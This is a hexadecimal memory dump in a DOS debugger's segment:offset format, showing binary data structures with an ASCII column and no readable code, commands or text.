28BA:4DE0 BA 28 5C 07 C4 08 28 87 BE 87 96 87 9E 87 CC 4D .(\...(........M
28BA:4DF0 BA 28 02 DA 4D BA 28 00 00 00 00 01 02 A0 07 0F .(..M.(.........
28BA:4E00 1F 00 00 00 D2 A3 BA 28 BC 2D D0 07 85 7C 04 7D .......(.-...|.}
28BA:4E10 00 00 00 00 00 00 00 00 01 04 4E BA 28 00 00 00 ..........N.(...
28BA:4E20 00 00 00 A0 07 0F 1F 00 00 08 4E BA 28 01 D1 EE ..........N.(...
28BA:4E30 07 BE 7D FC 7D 00 00 00 00 00 00 00 00 01 29 4E ..}.}.........)N
28BA:4E40 BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 D2 A3 .(..............
28BA:4E50 BA 28 96 1D F5 07 FE 7D 27 7E 00 00 00 00 00 00 .(.....}'~......
28BA:4E60 00 00 01 4E 4E BA 28 00 00 00 00 00 00 A0 07 0F ...NN.(.........
28BA:4E70 1F 00 00 D2 A3 BA 28 1C 84 DC 07 04 7D 56 7D 00 ......(.....}V}.
28BA:4E80 00 00 00 00 00 00 00 01 73 4E BA 28 00 00 00 00 ........sN.(....
28BA:4E90 00 00 A0 07 0F 1F 00 00 D2 A3 BA 28 26 36 EF 07 ...........(&6..
28BA:4EA0 C1 7D F9 7D 00 00 00 00 00 00 00 00 01 98 4E BA .}.}..........N.
28BA:4EB0 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 9C 4E BA (.............N.
28BA:4EC0 28 96 1D F5 07 FE 7D 1A 7E 00 00 00 00 00 00 00 (.....}.~.......
28BA:4ED0 00 01 BD 4E BA 28 00 00 00 00 00 00 A0 07 0F 1F ...N.(..........
28BA:4EE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:4EF0 00 00 00 00 00 00 00 00 00 00 00 00 00 0A 0C 04 ................
28BA:4F00 25 00 00 E2 4E BA 28 8B 59 69 08 F5 82 26 87 00 %...N.(.Yi...&..
28BA:4F10 00 00 00 00 00 00 00 01 03 4F BA 28 00 00 00 00 .........O.(....
28BA:4F20 00 00 A0 07 0F 1F 00 00 1F 00 36 00 52 00 69 00 ..........6.R.i.
28BA:4F30 00 00 00 00 00 00 C1 4E BA 28 07 4F BA 28 B2 6D .......N.(.O.(.m
28BA:4F40 64 08 C3 82 F5 82 E9 82 F5 82 28 4F BA 28 02 36 d.........(O.(.6
28BA:4F50 4F BA 28 00 00 00 00 00 0A A0 07 0F 1F 00 00 1A O.(.............
28BA:4F60 00 33 00 41 00 58 00 00 00 00 00 00 00 77 4E BA .3.A.X.......wN.
28BA:4F70 28 3E 4F BA 28 3D 26 5D 08 79 82 C2 82 AE 82 C1 (>O.(=&].y......
28BA:4F80 82 5F 4F BA 28 02 6D 4F BA 28 00 00 00 00 00 02 ._O.(.mO.(......
28BA:4F90 A0 07 0F 1F 00 00 24 00 3F 00 52 00 74 00 00 00 ......$.?.R.t...
28BA:4FA0 00 00 00 00 52 4E BA 28 75 4F BA 28 48 9C 59 08 ....RN.(uO.(H.Y.
28BA:4FB0 56 82 78 82 6E 82 78 82 96 4F BA 28 02 A4 4F BA V.x.n.x..O.(..O.
28BA:4FC0 28 00 00 00 00 00 0A A0 07 0F 1F 00 00 24 00 3B (............$.;
28BA:4FD0 00 61 00 75 00 00 00 00 00 00 00 2D 4E BA 28 AC .a.u.......-N.(.
28BA:4FE0 4F BA 28 E7 B5 45 08 88 81 56 82 44 82 53 82 CD O.(..E...V.D.S..
28BA:4FF0 4F BA 28 02 DB 4F BA 28 00 00 00 00 01 02 A0 07 O.(..O.(........
28BA:5000 0F 1F 00 00 E3 4F BA 28 D3 75 16 08 94 7F 88 81 .....O.(.u......
28BA:5010 00 00 00 00 00 00 00 00 01 04 50 BA 28 00 00 00 ..........P.(...
28BA:5020 00 00 00 A0 07 0F 1F 18 00 00 00 00 00 00 00 00 ................
28BA:5030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:5040 00 00 00 00 0A 0C 04 25 18 00 29 50 BA 28 B3 2C .......%..)P.(.,
28BA:5050 F9 07 2C 7E 6E 7F 00 00 00 00 00 00 00 00 01 4A ..,~n..........J
28BA:5060 50 BA 28 00 00 00 00 00 00 A0 07 0F 1F 18 00 00 P.(.............
28BA:5070 78 00 7D 00 B8 00 CC 00 00 00 00 00 34 03 78 00 x.}.........4.x.
28BA:5080 7E 00 94 00 A0 00 70 50 BA 28 42 01 73 00 78 00 ~.....pP.(B.s.x.
28BA:5090 B0 00 B8 00 7E 50 BA 28 30 01 72 00 77 00 7D 00 ....~P.(0.r.w.}.
28BA:50A0 85 00 8C 50 BA 28 3C 01 27 3D B1 0B C2 B9 00 00 ...P.(<.'=......
28BA:50B0 00 00 00 00 9A 50 BA 28 00 00 00 00 00 00 00 00 .....P.(........
28BA:50C0 00 00 00 0A 0C 04 25 00 00 A8 50 BA 28 14 1D 8D ......%...P.(...
28BA:50D0 07 E6 79 13 7A 00 00 00 00 00 00 00 00 01 C9 50 ..y.z..........P
28BA:50E0 BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 70 00 .(............p.
28BA:50F0 7B 00 AA 00 BD 00 00 00 00 00 00 00 D2 A3 BA 28 {..............(
28BA:5100 CD 50 BA 28 29 E5 8B 07 9A 79 E4 79 A0 79 AF 79 .P.()....y.y.y.y
28BA:5110 EE 50 BA 28 02 FC 50 BA 28 00 00 00 00 00 02 A0 .P.(..P.(.......
28BA:5120 07 0F 1F 00 00 DB C8 99 07 92 7A D6 7A 00 00 00 ..........z.z...
28BA:5130 00 00 00 00 00 01 C9 50 BA 28 00 00 00 00 00 00 .......P.(......
28BA:5140 A0 07 0F 1F 00 00 71 00 7B 00 76 00 8D 00 00 00 ......q.{.v.....
28BA:5150 00 00 00 00 D2 A3 BA 28 25 51 BA 28 25 E2 90 07 .......(%Q.(%...
28BA:5160 15 7A 90 7A 25 7A 3D 7A 46 51 BA 28 02 54 51 BA .z.z%z=zFQ.(.TQ.
28BA:5170 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 A1 93 AA (...............
28BA:5180 07 5C 7B 7A 7B 00 00 00 00 00 00 00 00 01 C9 50 .\{z{..........P
28BA:5190 BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 6C 00 .(............l.
28BA:51A0 7C 00 B7 00 D2 00 00 00 00 00 00 00 D2 A3 BA 28 |..............(
28BA:51B0 7D 51 BA 28 AF FD 9E 07 D9 7A 35 7B EF 7A FA 7A }Q.(.....z5{.z.z
28BA:51C0 9E 51 BA 28 02 AC 51 BA 28 00 00 00 00 00 02 A0 .Q.(..Q.(.......
28BA:51D0 07 0F 1F 00 00 13 D7 BD 07 E6 7B 39 7C 00 00 00 ..........{9|...
28BA:51E0 00 00 00 00 00 01 C9 50 BA 28 00 00 00 00 00 00 .......P.(......
28BA:51F0 A0 07 0F 1F 00 00 73 00 82 00 7F 00 A4 00 00 00 ......s.........
28BA:5200 00 00 00 00 D2 A3 BA 28 D5 51 BA 28 D7 97 AE 07 .......(.Q.(....
28BA:5210 7C 7B E4 7B 91 7B 9D 7B F6 51 BA 28 02 04 52 BA |{.{.{.{.Q.(..R.
28BA:5220 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 04 51 BA (.............Q.
28BA:5230 28 5C 51 BA 28 B4 51 BA 28 0C 52 BA 28 29 E5 8B (\Q.(.Q.(.R.()..
28BA:5240 07 9A 79 9A 79 00 00 00 00 00 00 00 00 04 2D 52 ..y.y.........-R
28BA:5250 BA 28 00 00 00 00 80 00 E9 08 0F 1F 01 00 3D 52 .(............=R
28BA:5260 BA 28 81 47 77 07 80 78 9A 79 00 00 00 00 00 00 .(.Gw..x.y......
28BA:5270 00 00 01 5E 52 BA 28 00 00 00 00 00 00 A0 07 0F ...^R.(.........
28BA:5280 1F 12 00 66 00 77 00 C0 00 D7 00 00 00 00 00 00 ...f.w..........
28BA:5290 00 D2 A3 BA 28 62 52 BA 28 80 80 72 07 FE 77 7D ....(bR.(..r..w}
28BA:52A0 78 FE 77 5A 78 83 52 BA 28 02 91 52 BA 28 00 00 x.wZx.R.(..R.(..
28BA:52B0 00 00 00 06 A0 07 0F 1F 0C 00 EB 5F 44 07 BD 73 ..........._D..s
28BA:52C0 D9 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .s..............
28BA:52D0 00 00 00 00 00 A0 07 0F 1F 00 00 62 00 77 00 1B ...........b.w..
28BA:52E0 00 2B 00 00 00 00 00 00 00 D2 A3 BA 28 BA 52 BA .+..........(.R.
28BA:52F0 28 E0 55 41 07 6F 73 BB 73 7E 73 8B 73 DB 52 BA (.UA.os.s~s.s.R.
28BA:5300 28 02 E9 52 BA 28 00 00 00 00 00 02 A0 07 0F 1F (..R.(..........
28BA:5310 00 00 C6 8F 48 07 26 74 41 74 00 00 00 00 00 00 ....H.&tAt......
28BA:5320 00 00 00 00 00 00 00 00 00 00 00 00 00 A0 07 0F ................
28BA:5330 1F 00 00 59 00 75 00 CC 00 E1 00 00 00 00 00 00 ...Y.u..........
28BA:5340 00 D2 A3 BA 28 12 53 BA 28 44 B4 45 07 D9 73 24 ....(.S.(D.E..s$
28BA:5350 74 E2 73 EC 73 33 53 BA 28 02 41 53 BA 28 00 00 t.s.s3S.(.AS.(..
28BA:5360 00 00 00 02 A0 07 0F 1F 00 00 FB 91 5E 07 2B 76 ............^.+v
28BA:5370 3A 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 :v..............
28BA:5380 00 00 00 00 00 A0 07 0F 1F 00 00 3F 00 4F 00 4D ...........?.O.M
28BA:5390 00 5D 00 00 00 00 00 00 00 D2 A3 BA 28 6A 53 BA .]..........(jS.
28BA:53A0 28 6C CE 59 07 AD 75 29 76 DF 75 F4 75 8B 53 BA (l.Y..u)v.u.u.S.
28BA:53B0 28 02 99 53 BA 28 00 00 00 00 00 02 A0 07 0F 1F (..S.(..........
28BA:53C0 00 00 3C 50 61 07 85 76 9A 76 00 00 00 00 00 00 ..<Pa..v.v......
28BA:53D0 00 00 00 00 00 00 00 00 00 00 00 00 00 A0 07 0F ................
28BA:53E0 1F 00 00 24 00 3E 00 55 00 63 00 00 00 00 00 00 ...$.>.U.c......
28BA:53F0 00 D2 A3 BA 28 C2 53 BA 28 1E 50 5F 07 39 76 83 ....(.S.(.P_.9v.
28BA:5400 76 46 76 5D 76 E3 53 BA 28 02 F1 53 BA 28 00 00 vFv]v.S.(..S.(..
28BA:5410 00 00 00 02 A0 07 0F 1F 00 00 C8 BE 63 07 EE 76 ............c..v
28BA:5420 12 77 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .w..............
28BA:5430 00 00 00 00 00 A0 07 0F 1F 00 00 23 00 32 00 81 ...........#.2..
28BA:5440 00 91 00 00 00 00 00 00 00 D2 A3 BA 28 1A 54 BA ............(.T.
28BA:5450 28 54 23 62 07 9A 76 EB 76 9F 76 C0 76 3B 54 BA (T#b..v.v.v.v;T.
28BA:5460 28 02 49 54 BA 28 00 00 00 00 00 02 A0 07 0F 1F (.IT.(..........
28BA:5470 00 00 73 00 78 00 49 00 54 00 00 00 00 00 10 01 ..s.x.I.T.......
28BA:5480 3A 00 40 00 5A 00 66 00 72 54 BA 28 30 01 86 C0 :.@.Z.f.rT.(0...
28BA:5490 B0 0B C0 B9 00 00 00 00 00 00 80 54 BA 28 00 00 ...........T.(..
28BA:54A0 00 00 00 00 00 00 00 00 00 0A 0C 04 25 00 00 8E ............%...
28BA:54B0 54 BA 28 BB 30 67 07 60 77 FD 77 00 00 00 00 00 T.(.0g.`w.w.....
28BA:54C0 00 00 00 01 AF 54 BA 28 00 00 00 00 00 00 A0 07 .....T.(........
28BA:54D0 0F 1F 00 00 1C 00 35 00 A3 00 C0 00 00 00 00 00 ......5.........
28BA:54E0 00 00 D2 A3 BA 28 B3 54 BA 28 28 7D 65 07 12 77 .....(.T.((}e..w
28BA:54F0 5E 77 2A 77 34 77 D4 54 BA 28 02 E2 54 BA 28 00 ^w*w4w.T.(..T.(.
28BA:5500 00 00 00 00 02 A0 07 0F 1F 00 00 A1 53 BA 28 F9 ............S.(.
28BA:5510 53 BA 28 51 54 BA 28 EA 54 BA 28 6C CE 59 07 AD S.(QT.(.T.(l.Y..
28BA:5520 75 AD 75 00 00 00 00 00 00 00 00 04 0B 55 BA 28 u.u..........U.(
28BA:5530 00 00 00 00 C1 00 E9 08 0F 1F 03 00 1B 55 BA 28 .............U.(
28BA:5540 B4 DA 58 07 96 75 AD 75 00 00 00 00 00 00 00 00 ..X..u.u........
28BA:5550 01 3C 55 BA 28 00 00 00 00 01 00 A0 07 0F 1F 00 .<U.(...........
28BA:5560 00 73 00 78 00 88 00 98 00 00 00 00 00 32 61 E7 .s.x.........2a.
28BA:5570 50 B0 0B BE B9 00 00 00 00 00 00 61 55 BA 28 00 P..........aU.(.
28BA:5580 00 00 00 00 00 00 00 00 00 00 0A 0C 04 25 00 00 .............%..
28BA:5590 6F 55 BA 28 39 D9 56 07 6A 75 94 75 00 00 00 00 oU.(9.V.ju.u....
28BA:55A0 00 00 00 00 01 90 55 BA 28 00 00 00 00 00 00 A0 ......U.(.......
28BA:55B0 07 0F 1F 00 00 65 00 78 00 7C 00 91 00 00 00 00 .....e.x.|......
28BA:55C0 00 00 00 D2 A3 BA 28 94 55 BA 28 15 71 51 07 D5 ......(.U.(.qQ..
28BA:55D0 74 68 75 13 75 27 75 B5 55 BA 28 02 C3 55 BA 28 thu.u'u.U.(..U.(
28BA:55E0 00 00 00 00 00 02 A0 07 0F 1F 00 00 26 00 32 00 ............&.2.
28BA:55F0 36 00 44 00 00 00 00 00 00 00 D2 A3 BA 28 CB 55 6.D..........(.U
28BA:5600 BA 28 EB 0C 4A 07 3E 74 D3 74 51 74 6E 74 EC 55 .(..J.>t.tQtnt.U
28BA:5610 BA 28 02 FA 55 BA 28 00 00 00 00 00 02 A0 07 0F .(..U.(.........
28BA:5620 1F 00 00 F1 52 BA 28 49 53 BA 28 02 56 BA 28 73 ....R.(IS.(.V.(s
28BA:5630 DE 41 07 73 73 73 73 00 00 00 00 00 00 00 00 03 .A.ssss.........
28BA:5640 23 56 BA 28 00 00 00 00 C1 00 E9 08 0F 1F 02 00 #V.(............
28BA:5650 2F 56 BA 28 CC B4 3F 07 52 73 73 73 00 00 00 00 /V.(..?.Rsss....
28BA:5660 00 00 00 00 01 50 56 BA 28 00 00 00 00 00 00 A0 .....PV.(.......
28BA:5670 07 0F 1F 00 00 56 00 65 00 A0 00 AC 00 00 00 00 .....V.e........
28BA:5680 00 00 00 D2 A3 BA 28 54 56 BA 28 3A D3 3C 07 0A ......(TV.(:.<..
28BA:5690 73 50 73 13 73 1F 73 75 56 BA 28 02 83 56 BA 28 sPs.s.suV.(..V.(
28BA:56A0 00 00 00 00 00 02 A0 07 0F 1F 00 00 55 00 64 00 ............U.d.
28BA:56B0 B1 00 BE 00 00 00 00 00 00 00 D2 A3 BA 28 8B 56 .............(.V
28BA:56C0 BA 28 A4 09 39 07 9D 72 08 73 C4 72 DC 72 AC 56 .(..9..r.s.r.r.V
28BA:56D0 BA 28 02 BA 56 BA 28 00 00 00 00 00 02 A0 07 0F .(..V.(.........
28BA:56E0 1F 15 00 00 48 00 4E 00 74 00 82 00 00 00 00 00 ....H.N.t.......
28BA:56F0 32 01 3E 00 44 00 3A 00 48 00 E4 56 BA 28 42 01 2.>.D.:.H..V.(B.
28BA:5700 E5 D1 AF 0B BC B9 00 00 00 00 00 00 F2 56 BA 28 .............V.(
28BA:5710 00 00 00 00 00 00 00 00 00 00 00 0A 0C 04 25 00 ..............%.
28BA:5720 00 00 57 BA 28 41 4E 33 07 6A 72 9D 72 00 00 00 ..W.(AN3.jr.r...
28BA:5730 00 00 00 00 00 01 21 57 BA 28 00 00 00 00 00 00 ......!W.(......
28BA:5740 A0 07 0F 1F 00 00 2E 00 4D 00 77 00 99 00 00 00 ........M.w.....
28BA:5750 00 00 00 00 D2 A3 BA 28 25 57 BA 28 21 B3 25 07 .......(%W.(!.%.
28BA:5760 EB 71 68 72 3A 72 46 72 46 57 BA 28 02 54 57 BA .qhr:rFrFW.(.TW.
28BA:5770 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 30 00 45 (............0.E
28BA:5780 00 37 00 4C 00 00 00 00 00 00 00 D2 A3 BA 28 5C .7.L..........(\
28BA:5790 57 BA 28 AC F2 18 07 75 71 E9 71 9B 71 B8 71 7D W.(....uq.q.q.q}
28BA:57A0 57 BA 28 02 8B 57 BA 28 00 00 00 00 00 02 A0 07 W.(..W.(........
28BA:57B0 0F 1F 00 00 28 00 46 00 31 00 48 00 00 00 00 00 ....(.F.1.H.....
28BA:57C0 00 00 D2 A3 BA 28 93 57 BA 28 E6 9E 08 07 E9 70 .....(.W.(.....p
28BA:57D0 66 71 13 71 1C 71 B4 57 BA 28 02 C2 57 BA 28 00 fq.q.q.W.(..W.(.
28BA:57E0 00 00 00 00 02 A0 07 0F 1F 00 00 D2 A3 BA 28 93 ..............(.
28BA:57F0 57 BA 28 19 1A 00 07 93 70 66 71 13 71 1C 71 B4 W.(.....pfq.q.q.
28BA:5800 57 BA 28 02 EB 57 BA 28 CA 57 BA 28 01 02 A0 07 W.(..W.(.W.(....
28BA:5810 0F 1F 00 00 25 00 4D 00 B4 00 CB 00 00 00 00 00 ....%.M.........
28BA:5820 00 00 D2 A3 BA 28 F3 57 BA 28 9A 96 F4 06 1E 70 .....(.W.(.....p
28BA:5830 91 70 53 70 64 70 14 58 BA 28 02 22 58 BA 28 00 .pSpdp.X.(."X.(.
28BA:5840 00 00 00 00 02 A0 07 0F 1F 00 00 35 00 52 00 4E ...........5.R.N
28BA:5850 00 5F 00 00 00 00 00 00 00 D2 A3 BA 28 2A 58 BA ._..........(*X.
28BA:5860 28 38 C4 EA 06 B8 6F 1C 70 D3 6F E5 6F 4B 58 BA (8....o.p.o.oKX.
28BA:5870 28 02 59 58 BA 28 00 00 00 00 00 02 A0 07 0F 1F (.YX.(..........
28BA:5880 00 00 34 00 5A 00 6F 00 83 00 00 00 00 00 00 00 ..4.Z.o.........
28BA:5890 D2 A3 BA 28 61 58 BA 28 AB A0 E1 06 59 6F B5 6F ...(aX.(....Yo.o
28BA:58A0 78 6F 81 6F 82 58 BA 28 02 90 58 BA 28 00 00 00 xo.o.X.(..X.(...
28BA:58B0 00 00 02 A0 07 0F 1F 00 00 34 00 68 00 27 00 42 .........4.h.'.B
28BA:58C0 00 00 00 00 00 00 00 D2 A3 BA 28 98 58 BA 28 91 ..........(.X.(.
28BA:58D0 3B D0 06 9B 6E 56 6F FC 6E 08 6F B9 58 BA 28 02 ;...nVo.n.o.X.(.
28BA:58E0 C7 58 BA 28 00 00 00 00 01 02 A0 07 0F 1F 00 00 .X.(............
28BA:58F0 CF 58 BA 28 22 AE BB 06 C7 6D 9B 6E 00 00 00 00 .X.("....m.n....
28BA:5900 00 00 00 00 01 F0 58 BA 28 00 00 00 00 00 00 A0 ......X.(.......
28BA:5910 07 0F 1F 17 00 00 50 00 55 00 40 00 4C 00 00 00 ......P.U.@.L...
28BA:5920 00 00 14 01 50 00 55 00 2F 00 41 00 16 59 BA 28 ....P.U./.A..Y.(
28BA:5930 33 01 32 00 3D 00 36 00 48 00 24 59 BA 28 20 01 3.2.=.6.H.$Y.( .
28BA:5940 57 00 5D 00 B5 00 BE 00 32 59 BA 28 25 01 57 00 W.].....2Y.(%.W.
28BA:5950 5C 00 88 00 92 00 40 59 BA 28 30 01 57 00 62 00 \.....@Y.(0.W.b.
28BA:5960 30 00 3F 00 4E 59 BA 28 42 01 F1 7D AE 0B B6 B9 0.?.NY.(B..}....
28BA:5970 00 00 00 00 00 00 5C 59 BA 28 00 00 00 00 00 00 ......\Y.(......
28BA:5980 00 00 00 00 00 0A 0C 04 25 00 00 6A 59 BA 28 E7 ........%..jY.(.
28BA:5990 29 96 06 3C 6A 68 6B 00 00 00 00 00 00 00 00 01 )..<jhk.........
28BA:59A0 8B 59 BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 .Y.(............
28BA:59B0 3A 00 4D 00 91 00 BA 00 00 00 00 00 00 00 D2 A3 :.M.............
28BA:59C0 BA 28 8F 59 BA 28 19 8F 94 06 C8 69 3A 6A 03 6A .(.Y.(.....i:j.j
28BA:59D0 11 6A B0 59 BA 28 02 BE 59 BA 28 00 00 00 00 00 .j.Y.(..Y.(.....
28BA:59E0 02 A0 07 0F 1F 18 00 45 00 55 00 3C 00 4D 00 00 .......E.U.<.M..
28BA:59F0 00 00 00 00 00 D2 A3 BA 28 C6 59 BA 28 E6 FF 92 ........(.Y.(...
28BA:5A00 06 5A 69 C3 69 79 69 86 69 E7 59 BA 28 02 F5 59 .Zi.iyi.i.Y.(..Y
28BA:5A10 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 D2 A3 .(..............
28BA:5A20 BA 28 C6 59 BA 28 7B 61 92 06 45 69 C3 69 79 69 .(.Y.({a..Ei.iyi
28BA:5A30 86 69 E7 59 BA 28 02 1E 5A BA 28 FD 59 BA 28 01 .i.Y.(..Z.(.Y.(.
28BA:5A40 02 A0 07 0F 1F 00 00 28 00 3A 00 3C 00 54 00 00 .......(.:.<.T..
28BA:5A50 00 00 00 00 00 D2 A3 BA 28 26 5A BA 28 C8 BF 90 ........(&Z.(...
28BA:5A60 06 D0 68 43 69 FD 68 0F 69 47 5A BA 28 02 55 5A ..hCi.h.iGZ.(.UZ
28BA:5A70 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 43 00 .(............C.
28BA:5A80 56 00 4D 00 5E 00 00 00 00 00 00 00 D2 A3 BA 28 V.M.^..........(
28BA:5A90 5D 5A BA 28 7F 5D 8F 06 74 68 CE 68 94 68 A4 68 ]Z.(.]..th.h.h.h
28BA:5AA0 7E 5A BA 28 02 8C 5A BA 28 00 00 00 00 00 02 A0 ~Z.(..Z.(.......
28BA:5AB0 07 0F 1F 00 00 46 00 55 00 99 00 B3 00 00 00 00 .....F.U........
28BA:5AC0 00 00 00 D2 A3 BA 28 94 5A BA 28 38 50 88 06 95 ......(.Z.(8P...
28BA:5AD0 67 72 68 24 68 34 68 B5 5A BA 28 02 C3 5A BA 28 grh$h4h.Z.(..Z.(
28BA:5AE0 00 00 00 00 00 02 A0 07 0F 1F 00 00 44 00 63 00 ............D.c.
28BA:5AF0 28 00 3C 00 00 00 00 00 00 00 D2 A3 BA 28 CB 5A (.<..........(.Z
28BA:5B00 BA 28 22 F4 81 06 1A 67 8F 67 23 67 2F 67 EC 5A .("....g.g#g/g.Z
28BA:5B10 BA 28 02 FA 5A BA 28 00 00 00 00 00 02 A0 07 0F .(..Z.(.........
28BA:5B20 1F 00 00 D2 A3 BA 28 CB 5A BA 28 7F 18 80 06 FD ......(.Z.(.....
28BA:5B30 66 8F 67 23 67 2F 67 EC 5A BA 28 02 23 5B BA 28 f.g#g/g.Z.(.#[.(
28BA:5B40 02 5B BA 28 01 02 A0 07 0F 1F 00 00 16 00 43 00 .[.(..........C.
28BA:5B50 B2 00 DA 00 00 00 00 00 00 00 D2 A3 BA 28 2B 5B .............(+[
28BA:5B60 BA 28 16 8B 59 06 3F 65 F9 66 66 66 89 66 4C 5B .(..Y.?e.fff.fL[
28BA:5B70 BA 28 02 5A 5B BA 28 00 00 00 00 00 02 A0 07 0F .(.Z[.(.........
28BA:5B80 1F 16 00 00 F3 A3 BA 28 8C 00 96 00 BF 00 DC 00 .......(........
28BA:5B90 00 00 00 00 30 0B 5A 00 62 00 11 00 26 00 88 5B ....0.Z.b...&..[
28BA:5BA0 BA 28 42 51 3E 0B AE 0B B4 B9 00 00 00 00 00 00 .(BQ>...........
28BA:5BB0 96 5B BA 28 00 00 00 00 00 00 00 00 00 00 00 0A .[.(............
28BA:5BC0 0C 04 25 00 00 87 5F 3B 06 E0 63 21 64 00 00 00 ..%..._;..c!d...
28BA:5BD0 00 00 00 00 00 01 84 5B BA 28 00 00 00 00 00 00 .......[.(......
28BA:5BE0 A0 07 0F 1F 00 00 49 00 88 00 12 00 2E 00 00 00 ......I.........
28BA:5BF0 00 00 00 00 A4 5B BA 28 C5 5B BA 28 F2 85 41 06 .....[.(.[.(..A.
28BA:5C00 25 64 27 65 55 64 2A 65 E6 5B BA 28 02 F4 5B BA %d'eUd*e.[.(..[.
28BA:5C10 28 00 00 00 00 04 00 A0 07 0F 1F 00 00 40 00 64 (............@.d
28BA:5C20 00 27 00 42 00 00 00 00 00 00 00 41 00 60 00 B1 .'.B.......A.`..
28BA:5C30 00 DB 00 00 00 00 00 00 00 40 00 5E 00 AC 00 D9 .........@.^....
28BA:5C40 00 00 00 00 00 00 00 43 00 60 00 7C 00 A6 00 00 .......C.`.|....
28BA:5C50 00 00 00 00 00 3C 00 74 00 1B 00 4D 00 00 00 00 .....<.t...M....
28BA:5C60 00 00 00 32 00 8E 00 25 00 46 00 00 00 00 00 00 ...2...%.F......
28BA:5C70 00 A4 5B BA 28 C5 5B BA 28 52 E4 44 06 48 64 27 ..[.(.[.(R.D.Hd'
28BA:5C80 65 55 64 2A 65 E6 5B BA 28 02 71 5C BA 28 00 00 eUd*e.[.(.q\.(..
28BA:5C90 00 00 04 00 A0 07 0F 1F 00 00 7C DC 19 06 74 62 ..........|...tb
28BA:5CA0 88 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .b..............
28BA:5CB0 00 00 00 00 00 A0 07 0F 1F 00 00 D2 A3 BA 28 9A ..............(.
28BA:5CC0 5C BA 28 C6 EF 13 06 33 62 73 62 41 62 4D 62 55 \.(....3bsbAbMbU
28BA:5CD0 5C BA 28 02 BB 5C BA 28 00 00 00 00 00 00 A0 07 \.(..\.(........
28BA:5CE0 0F 1F 00 00 6B 81 21 06 C3 62 DD 62 00 00 00 00 ....k.!..b.b....
28BA:5CF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A0 ................
28BA:5D00 07 0F 1F 00 00 D2 A3 BA 28 E4 5C BA 28 27 19 1C ........(.\.('..
28BA:5D10 06 87 62 C1 62 93 62 9C 62 47 5C BA 28 02 05 5D ..b.b.b.bG\.(..]
28BA:5D20 BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 02 00 .(..............
28BA:5D30 2A 06 20 63 3C 63 00 00 00 00 00 00 00 00 00 00 *. c<c..........
28BA:5D40 00 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 D2 ................
28BA:5D50 A3 BA 28 2E 5D BA 28 05 73 23 06 D5 62 1C 63 E8 ..(.].(.s#..b.c.
28BA:5D60 62 EF 62 39 5C BA 28 02 4F 5D BA 28 00 00 00 00 b.b9\.(.O].(....
28BA:5D70 00 00 A0 07 0F 1F 00 00 F2 85 41 06 25 64 44 64 ..........A.%dDd
28BA:5D80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:5D90 00 00 00 A0 07 0F 1F 00 00 D2 A3 BA 28 78 5D BA ............(x].
28BA:5DA0 28 49 B5 32 06 74 63 DE 63 9B 63 AC 63 1D 5C BA (I.2.tc.c.c.c.\.
28BA:5DB0 28 02 99 5D BA 28 00 00 00 00 00 00 A0 07 0F 1F (..].(..........
28BA:5DC0 00 00 D2 A3 BA 28 A1 5D BA 28 CA 93 2C 06 38 63 .....(.].(..,.8c
28BA:5DD0 73 63 4A 63 54 63 2B 5C BA 28 02 C2 5D BA 28 00 scJcTc+\.(..].(.
28BA:5DE0 00 00 00 00 00 A0 07 0F 1F 00 00 C3 5C BA 28 0D ............\.(.
28BA:5DF0 5D BA 28 57 5D BA 28 CA 5D BA 28 57 5D BA 28 0D ].(W].(.].(W].(.
28BA:5E00 5D BA 28 57 5D BA 28 C3 5C BA 28 79 5C BA 28 F7 ].(W].(.\.(y\.(.
28BA:5E10 91 14 06 37 62 37 62 00 00 00 00 00 00 00 00 09 ...7b7b.........
28BA:5E20 EB 5D BA 28 00 00 00 00 C0 00 E9 08 0F 1F 08 00 .].(............
28BA:5E30 0F 5E BA 28 B4 79 0F 06 0C 62 37 62 00 00 00 00 .^.(.y...b7b....
28BA:5E40 00 00 00 00 01 30 5E BA 28 00 00 00 00 00 00 A0 .....0^.(.......
28BA:5E50 07 0F 1F 00 00 D2 A3 BA 28 34 5E BA 28 E7 D9 05 ........(4^.(...
28BA:5E60 06 58 61 0B 62 B4 61 C6 61 63 5C BA 28 02 55 5E .Xa.b.a.ac\.(.U^
28BA:5E70 BA 28 00 00 00 00 01 02 A0 07 0F 1F 00 00 78 00 .(............x.
28BA:5E80 84 00 D1 00 E8 00 00 00 00 00 50 01 82 00 96 00 ..........P.....
28BA:5E90 0A 00 26 00 7E 5E BA 28 40 01 25 20 AD 0B B0 B9 ..&.~^.(@.% ....
28BA:5EA0 00 00 00 00 00 00 8C 5E BA 28 00 00 00 00 00 00 .......^.(......
28BA:5EB0 00 00 00 00 00 0A 0C 04 25 00 00 9A 5E BA 28 38 ........%...^.(8
28BA:5EC0 DC AF 05 0C 5B 66 5C 00 00 00 00 00 00 00 00 01 ....[f\.........
28BA:5ED0 BB 5E BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 .^.(............
28BA:5EE0 35 00 4A 00 70 00 80 00 00 00 00 00 00 00 D2 A3 5.J.p...........
28BA:5EF0 BA 28 BF 5E BA 28 B5 3C A6 05 8C 5A 08 5B D2 5A .(.^.(.<...Z.[.Z
28BA:5F00 E1 5A E0 5E BA 28 02 EE 5E BA 28 00 00 00 00 00 .Z.^.(..^.(.....
28BA:5F10 02 A0 07 0F 1F 00 00 39 00 4E 00 1E 00 3B 00 00 .......9.N...;..
